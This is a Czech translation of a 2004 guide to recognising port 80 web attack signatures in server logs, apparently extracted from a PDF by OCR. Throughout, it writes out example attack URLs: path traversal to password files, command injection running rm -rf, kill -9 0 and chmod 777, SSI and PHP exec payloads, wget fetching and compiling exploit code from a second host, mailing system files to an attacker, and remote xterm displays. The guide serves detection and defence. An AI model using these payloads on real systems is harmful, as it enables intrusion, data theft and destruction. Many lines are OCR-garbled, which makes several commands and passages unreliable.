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Utok na port 80

Vlozil/a Los_Pavlos [1], 2 Rijen, 2004 - 08:34

e Exploit [2]
e Hacking [3]
e Security [4]

Par zajimavych prikladd vyuziti Fingerprinting a slabych mist v webovych aplikaci.

Utok na port 80: Divani se do web serverd a web aplikaci utok
signatury

I: dvod

II: Bézné identifikace

I1l: Pokrocilé identifikace
IV: Preteceni

V: Hex kédovani

VI: Zaveér

I: Uvod

Port 80 je standardni port pro webové stranky a mize mit hodné rdznych
bezpecnostnich problémd. Tyto diry mdzou dovolit Uto¢nikovi ziskat bud
administratorsky pfistup k web strdnce, nebo dokonce k samu webovému serveru.
Tento dokument se divad na nékteré z signatur, které jsou pouzivany v téchto
Utocich a co hledat ve vasich log.

II: Bézna identifikace

Tato ¢ast ukazuje priklady z béznych fingerprints pouzivanych k zneuziti ve web.
aplikacich a web. serverech.

V této ¢asti vdm neukdzu vsechny mozné fingerprint, ale radéji vdm ukazu vétsinu
toho, jak exploit a Gtoky vypadaji. Tato signatura by méla sebrat vétsSinu

znamych i nezndmych dér, které mize Gto¢nik uzit proti vdm. Tato ¢ast také
popisuje jak kazda signatura je pouzivand, nebo jak mlze byt pouzita k Gtoku.

"t at.L" pozadavky

Vv

Pouziva se proto, ze mlze Gtocnikovi nebo ¢ervu dovolit ménit adresare uvnitr
vaseho web serveru pro ziskani pristupu k sekcim, které nemusi byt verejnosti
pristupné. nejvice CGl dér budou obsahovat néjaké ".." pozadavky.

Dale je priklad:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Toto ukaze Utoc¢nikovi poZzadovani vasich web server( "Message Of The Day" soubor.
Pokud ma Utocnik schopnost prohlizet si vnitrek root vasich web server(. Pak
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mUze mit mozZnost shromézdit dostate¢né mnozstvi informaci k ziskani dalsich
vyhod.

"%20" pozadavky

Toto je hex hodnota prazdného mista. Nékteré web aplikace mlzou uzivat tyto
znaky v platnych pozadavcich. Zato, tato zadost je obcas pouzivana jako
pomoc pro vykonani prikazu.

Dalsi priklad:

http://host/cgi-bin/lame.cgi?page=I1s%20-al| ( Is -al pfikaz znamy na Unix
systému)

Jednoduse argument ukaze uUtocnikovy odkryty seznam pozadovaného plného vypisu
adresarl. To mlze uto¢nikovy dovolit pristup k dilezitym souborlim na vasem
systému a mUze pomoci dat Gto¢nikovy predstavu, jak ziskat dalsi vyhody.

"%00" zadost

Toto je hex hodnota neplatného nebo nulového bytu. MUze to byt pouzito k fool (pohravani
si s) web aplikaci do mysleného rlizného typu souboru, které byli pozadovany.

* http://host/cgi-bin/lame.cgi?page=index.html [5]

ukdazany priklad mUdze byt platny pozadavek na tomto pocitadi. jestli Gto¢nik vidi
takovou reakci, bude si jisty a bude sondovat tuto aplikaci pro to aby nasel v
tom diru.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd [6]

Web. aplikace mlze zamitnout tuto zadost, protoze kontroluje jména vystupu v .htm,
.html, .shtml nebo jiny typ souborl. Hodné krat vam rekne, Ze to neni platny typ
souboru pro tuto aplikaci. Casto to Fekne Gto¢nikovi, ze soubor musi skon¢it

urcitou priponou. Odtud mUze Uto¢nik shromazdit serverové cesty, nazvy soubor( a
potom shromazdit vice informaci o vasem systému.

* http://host/cqi-bin/lame.cgi?page=../../..[../[etc/motd%00html [7]

Tento pozadovany trik aplikaci do mysleni jména souboru skonéi v jednom z jeho
preddeklarovanych prijatelnych typech soubord.

Nékdy maiji web aplikace slabé kontrolovani platné souborové zadosti a toto je
bézna metoda pouzivana Utocniky.

"I" pozadavek

Toto je spojovaci znak, ktery je ¢asto pou
vicenasobného prikazu najednou v jedné

zivan v Unixu na spusténi

Zadosti.

Priklad: #cat access_log| grep -F "/../"

(toto ukaze kontrolovani v log z .... Zddosti které jsou ¢asto pouzivané
Uto¢niky a Cervy) Casto platné webové aplikace vyuzivaji tento znak a to maze
zpUsobit plané poplachy ve vasich IDS log.

Dole je zase par priklad(:

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
Tento prikaz pozaduje vykonani pfikazu Is. Dole je dalsi varianta tohoto typu.
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* http://host/cgi-bin/lame.cgi?page=../../../../bin/Is%20-al%?20/etc|
Tento prikaz pozaduje plné vypsani adreséare "etc" na unix systému.

* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
Tato zadost pozaduje vykonani pfikazu "cat" a potom pfikazu "grep" s argumentem
-i

";" pozadavek

Tento znak dovoli vicenasobnym prikazdm byt vykonané v radé na Unixu.
Priklad: #id;uname -a (toto je provedeni "id" prikazu nasledovaného "uname"
pfikazem) Casto web aplikace uZivaji tento znak a to mdéze zpQsobit plané
poplachy ve vasem IDS log.

||<|| a ||>|| poéadavky

Tyto znaky maiji byt kontrolovany v logs pro ¢etné dlvody, zaprvé tyto znaky jsou
pouzivany pro pridani dat do souborlim.

Priklad 1: "#echo "your haxOred hO h0" >> /etc/motd"

Toto ukdZe zadost pro zapsani informaci do tohoto souboru.) Uto¢nik méze
jednodusSe uzit zadost jako je tato pro znetvoreni vaseho webu. Slavny RDS
exploit s rain, forest, puppy byl ¢asto pouzivan Utocniky do echo informaci do
web hlavni stranku.

Priklad 2: "http://host/something.php=Hi%20mom%201'm%20Bold!"

Tato zadost prejde k cross site scripting priklad: VSimnete si pouzivaného htmi

tagu < a > znaky. Zatimco tento typ Utoku neda Utocnikovi systémovy pristup,
mdze to byt pouzito k oSizeni lidi k mysleni Ze jistd informace o web strankach

plati. (samoziejmé, Ze oni by potrfebovali navstivit link, ktery Gto¢nik chce.

Zadost mlze byt maskovana zakédovanim znakl do hex kédu aby nebyli tak zifejmé.

"1" pozadavek

Tento znak je ¢asto pouzivany v SSI (Server Side Include) dtoku. Tyto Utoky
mohou dovolit Uto¢nikovi mit podobné vysledky jako cross site scripting zneuziti
jestli osidény user klikne na link.

Dole zase péar prikazd.

"http://hostl/something.php=<!%20--#include%20virtual="http://host2/fake-article.htm|"-->"
Toto je priklad co Uto¢nik maze délat. Toto je v podstaté véetné souboru z

serveru 2 (host2) a déla to Ze, hldSeni budou prichdzet do hostl. (Samozrejmé

potrebujete aby oni navstivili link ktery Gto¢nik chce. Samozrejmé to mizete

také zakdédovat do hex kodu.

To také mUze dovolit Uto¢nikovi spustit prikazy na vasem systému s pravomocemi z
uzivatele web. serveru (tfeba i root)

"http://host/something.php=<!%20#<!--#exec%20cmd="id"-->"
Toto je provedeni prikazu "id" na vzdéleném systému. Toto vdm ukdze uzivatelsky
id web serveru kterého je obvykle uzivatel "nobody" nebo "www".

To mize také dovolit zahrnuti skrytych soubord.
"http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->"

toto je vCetné htpasswd souboru.Tento soubor neni normalné viditelny apache
dokonce ma vestavéné pravidlo popirat zadosti pro .ht. SSi tag obejde toto a
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mUze zpUsobit bezpecnostni problémy.

"<?" pozadavek

Toto je ¢asto uzivano pfi pokusu vlozit php do vzdalené web aplikace.Toto mlze
byt moZznost spustit prikazy zavisejici na serverovém nastaveni a na dalSich
faktorech.

Dalsi priklad

"http://host/something.php=<? passthru("id");?>"
Na Spatné psané php aplikaci mUzete lokalné spustit tento prikaz na vzdaleném
hostiteli pod vyhodnym web serverovym uzivatelem.

Dodatek k této kapitole, je Ze Gto¢nik mize zakdédovat pozadavky do hex.
Kontrolujte vSechno podezdrelé a neobycejné.

""" pozadavek

Tento znak je Casto pouzivan v perl k spusténi prikazu. Tento znak neni normalné
pouzity v jakékoliv platné web aplikaci. tak jestli vidite to ve vasSich log
vezmete to velmi vazné.

Zase néjaky ten pfriklad:

http://host/something.cgi="id"
Na Spatné psané web aplikaci v jazyce perl toto mUze spustit id prikaz.

1. Pokrocilé identifikace

Tato Cast priblizuje vice na prikazy, které Utocnik spousti spolu se soubory

které mUzou byt Zaddané a jak zjistit jesli vase zranitelnost remote command je
proveditelné. Toto neni kompletni seznam prikazd nebo soubord, mize vam to ale
dat dobrou predstavu co se déje, nebo o nepodarenych pokusech proti vasemu
systému.

Casté prikazy utoénika a ¢ervli mizou spustit

"/bin/ls"

Toto je binarni z Is prikazu. To je ¢asto pozadované v plné cesté pro hodné
Castych dér web. aplikacich.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/Is%20-al|

Priklad: http://host/cgi-bin/bad.cgi?doh=Is%20-al; [8]

"cmd.exe"

Toto je okno shellu. Jestli méa Gtoc¢nik pristup k spusténi tohoto scriptu bude
schopen udélat cokoliv na windows stroji, zavisejici na serverovém povoleni.
Nejvice internetovych ¢ervl zahrnujicich port 80 uzivd cmd.exe pro pomoc Sirfeni
infekce na dalsi vzdalené stanice.

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e: [9]

"/bin/id"

Toto je binarni z id prikazu, To je ¢asto pozadované v plné cesté pro hodné
Castych dér web. aplikacich.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
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Priklad: http://host/cqi-bin/bad.cgi?doh=id; [10]

"/bin/rm"

Toto je binarni z rm prikazu. To je Casto pozadované v plné cesté pro hodné
Castych dér web. aplikacich. Tento pfikaz, na druhé strané dovoli vymazani
souborl a je velmi nebezpecny jestli ji bud uzivate nespravné, nebo ji uziva
Gtocnik.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|

Priklad: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20%*; [11]

"wget a tftp" prikaz

Tyto prikazy jsou ¢asto uzivané Utocnikama a ¢ervama pro stahnuti dalSich

soubor(, které mQzou byt pouzity k ziskani dalsich systémovych vyhodach. wget je

Unix prikaz, ktery mlze byt pouzit k stahovani a zadnim vratklm. tftp je Unix a

NT prikaz ktery je uzivan pro stahovani soubor( s. Nékteri IS ¢ervy vyuZivaji

tento tftp prikaz pro stahovani kopii sama sebe k infikovani hostitele pro

pokraCovani v rotSifovani se.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
Priklad: http://host/cqgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phant... [12]

"cat" command

Tento prikaz je ¢asto pouzivan pro zobrazeni obsahu ze soubord. Toto mize byt
pouzivano pro ¢teni dllezitych informaci jako konfigura¢ni soubory, soubory s
hesly, Uvérové karty souborya dalSi véci co vds mohou napadnout.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd]|

Priklad: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd; [13]

"echo" command

Tento prikaz je ¢asto pouzivan pro pridani dat k soubordim jako je treba index.html.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ech0%20"fc-#kiwis%20was%20here"%20>>%20
Oday.txt|

Priklad: http://host/cgi-bin/bad.cgi?doh=ech0%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" command

Tento prikaz ukaze seznam bézicich procesd. To mlze fict Gto¢nikovi jestli na
vzdaleném hostitel serveru bézi néjaké bezpecnostni software a také jim to
pomUze zjistit bezpecnostni diry.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|

Priklad: http://host/cgi-bin/bad.cgi?doh=ps%20-aux; [14]

"kill and killall" commands

Tyto pfikazy jsou pouzivany k ukonéeni procesti na Unix systému. Uto¢nik mlze
toto uZit na zastaveni systémové sluzby nebo program. Uto¢nik mize také uzivat
tento prikaz pro pomoc pokryti exploit cesty.

Priklad: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|

Priklad: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200; [15]

"uname" command

Tento prikaz uzivé Gtoc¢nik k prozrazeni hostitelského jména vzdalené stanice.
Casto web. stranky je hostitel n alSP a tento pfikaz mGze dostat predstavu které
ISP mozna pristup.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../binfuname%20-a|

Priklad: http://host/cgi-bin/bad.cgi?doh=uname%20-a; [16]

"cc, gcc, perl, python, etc..." Kompildtory/pfevadéée prikazi

cc a gcc pfikazy dovoli zkompilovani program@. Utoénik mlzZe uZit wget, nebo tftp

pro stdhnuti souborl a potom uzit tyto kompildtory pro zkompilovani exploit.

Priklad: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c]|

Priklad: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.0ut%20-p%2031337; [17]
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Jestlize vidite pozadavek "perl" nebo "python" mize to byt mozny Gtocnik
stahnuty vzdaleny perl nebo python script a zkousi mistni exploit na vas systém.

"mail" command

Tento prikaz mUze byt pouzivany Gto¢nikem k email souborlim k emailové adrese

Utoc¢nika.Také to mize byt pouzito na spam a spamovani. takto nemusite velmi

snadno zjistit.P?i kl ad: http://host/cgi-bin/bad.cgi ?doh=../../../../bin/mil %20attacker @
host nane%20<<%20/ et ¢/ not d|

P?i kl ad: http://host/cgi-bin/bad. cgi ?7doh=nmi | ¥20st eel e@ er sey. whi t ehouse. govo20<</t np
/wu-2.6.1.c;

"xterm/Other X application" commands

Xterm je Casto uzivany pro pomoc k vzdalenému ziskani shell pristupu. Tento

fingerprint je ¢asto uzivany pro pomoc k spusténi xterm nebo x aplikaci.

P?iklad: http://host/cgi-bin/bad.cgi ?doh=../../../../usr/X11R6/ bi n/ xt er n®20- di spl ay%R
0192. 168. 22. 1|

P?i kl ad: http://host/cgi-bin/bad. cgi 27doh=Xeyes%0- di spl ay%20192. 168. 22. 1;

"chown, chmod, chgrp, chsh, etc..." commands
Tyto prikazi vdm dovoli zménu povoleni na Unix systému. Podivejte se dolu na
seznam co kazda déla.

chown = dovoli nastavovani uzivatelského vlastnictvi souboru

chmod = dovoli souborovym povolenim byt nastavené

chgrp = dovoli zménu skupinového vlastnictvi

chsh = dovoli uzivateli zménu shell kterou pouziva

P?ikl ad: http://host/cgi-bin/bad.cgi ?doh=../../../../bin/chnpd%20777%20i ndex. ht m |
P?i kl ad: http://host/cgi-bin/bad. cgi ?27doh=chnmod%20777%20i ndex. ht m ;

P?i kl ad:

http://host/cgi-bin/bad. cgi ?doh=../../../../bin/chown%20zeno%20/ et c/ nast er. passwd|
P?i kl ad: http://host/cgi-bin/bad. cgi ?7doh=chsh%20/ bi n/ sh;

P?i kl ad:

http://host/cgi-bin/bad. cgi ?2doh=../../../../bin/chgrp%0nobody%20/ et c/ shadow

Casté soubory o které se utoénik zajima

"/etc/passwd" File
Soubor s systémovymi hesly. Toto je obvykle zastinéné a neposkytuje zasifrovana
hesla k Utocnikovi. Jestli je soubor zastinény, Gtocnik se ¢asto podiva do /etc/shadow

"/etc/master.passwd"”

BSD systém heslového souboru, ktery obsahuje zaSifrovana hesla. Tento soubor je
¢itelny jenom root G¢tem, ale nezkuseny Uto¢nik mlze skontrolovat v nadéji ze to
bude schopny ¢ist. Jestli ale web server bézi jako uzivatel "root" pak mize

utocnik byt schopny cist tento soubor a spravci systému budou mit hodné
probléma.

"/etc/shadow"
Systémovy heslovy soubor, ktery obsahuje zasifrovana hesla. Tento soubor mlze
byt Citelny pouze "root" uc¢tem.

"/etc/motd"

System "zpravy dne" soubor obsahuje prvni zpravy a uzivatelé ho mohou vidét,
kdyz se prihlasuji do systému. MUze to poskytnout dllezité informace systému,
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administrator chce vidét uzivatele spolu s verzi opera¢niho systému. Utoénik
casto kontroluje tento soubor. Odtud budou zkoumat OS a shromazdovat exploity
které by mohli vyuzit.

"/etc/hosts"
Tento soubor vdm poskytne informace o ip adresach a sitové informace.

"/usr/local/apache/conf/httpd.conf"

Cesta k tomuto souboru je rlizna, ale tato cesta standartni. Toto je konfiguracni
soubor k Apache web serveru. D& to Gtocnikkovi predstavu které web stranky jsou
hostitelem spolu s néjakymi zvldstnimi informacemi jako zda CGI nebo SSI pristup
je povoleny.

"/etc/inetd.conf"

Toto je konfigurac¢ni soubor inetd sluzby. Tento soubor obsahuje systémové
deamons ktefi pouzivaji vzdaleny systém. MUze to také ukazat Gtocnikovi jestli
vzdalena stanice pouziva "obal" pro kazdého deamona.

".htpasswd, .htaccess, a .htgroup"

Tyto soubory jsou pouzivané pro heslovou autorizaci na web strankach. Uto¢nik se
zkusi podivat do obsahu téchto souborl pro shromazdéni uzivatelskych jmen a
hesel. Hesla jsou umisténa v htpasswd souboru a jsou zasSifrovana. Jednoduchy
password cracker a trocha ¢asu udéli ato¢nikovy pfristup k urc¢itym heslem
chrdnénym sekcim vasich web. strdnek a mozné dalsich Gc¢td.

"access_log a error_log"

Toto jsou log soubory z apache web serveru. Uto¢nik bude ¢asto kontrolovat logy
aby vidél co bylo zalogovéano (jeho vlastni zadosti ...) Casto Gto¢nik bude
editovat logs a néjaké odkazy na jeho hostitelské jméno. obcas je obtizné

zZjistit jestli Gto¢nik porusil vas systém pres port 80, jestli tyto soubory

nejsou zalohované nebo dvojité zaznamenavany.

"[ pi smeno j ednot ky] : wi nnt

epai rsam _ nebo [ pisneno

j ednot ky] : wi nnt

epai r sant'

Toto je jméno Win NT souboru s hesly. Pokud by k tomu mél pristup mohl by
spustit
program jako |0pht crack k zjisténi hesla ne vzdalenych Windows.

IV: Pretecteni:

. — « Yy . . Yy .
Nebudu vam prilis vysvétlovat preteceni bufferu v tomto navodu. Preteceni
O v v Ve Ve Ve Ve v 7 .
bufferu muze casto popléct kédovani a dalsi triky.
htt p: // host/ cgi - bi n/ hel | owor | d?t y pe=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Toto posle vasi aplikaci hodné jednic¢ek. Pretecteni bufferu mdze dat Gtoénikovy
vzdalené prikazy provedeni. Jestli aplikace je suid (jestli nevite co to je tak
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se podivejte do odpovidajiciho ndvodu na mich strankach) a vlastnéna rootem mohl by dovolit piny
systémovy pristup. jestlize to neni suid tak prikaz bude moznéa proveden jako
uzivatel.

V: hex kédovani

Hodnékrat utocnik zakdéduje 2adost do hex, takze IDS systém prehlédne zadost. CGI
skenr zndmy jako Whisker je onromnym pfrikladem. Jestli neméate 404 stranky, pak
hex bude prelozeno a vy budete schopni vidét presné jakou zadost je spolu s jeho
vystupem.

VI. Zavér:

Tento dokument nepokryje vsechny véci, ale pokryva nejbéznéjsi typy z atokd.
Bylo to napsano aby to pomahalo web spravclim dostat predstavu po ¢em se divat.
(docela bych doporucil tento dokument i zac¢inajicim hackerlim /*pozndmka
prekladatele*/) Doufam také, Zze tento dokument pomUze web vyvojariim psat lepsi
web aplikace. Psal jsem tento dokument asi hodinu v nedéli, tak jestli méate

néjaké komentare nebo navrhy emailujte mé na admin@cgisecurity.com [18].

Prelozil: Los Pavlos -
www.sweb.cz/los.pavlos [19]

Autor anglické verze: Zenomorph
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[19] http://www.sweb.cz/los.pavlos

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn
Strana 8z 8


mailto:admin@cgisecurity.com
http://www.sweb.cz/los.pavlos
https://security-portal.cz/clanky/%C3%BAtok-na-port-80

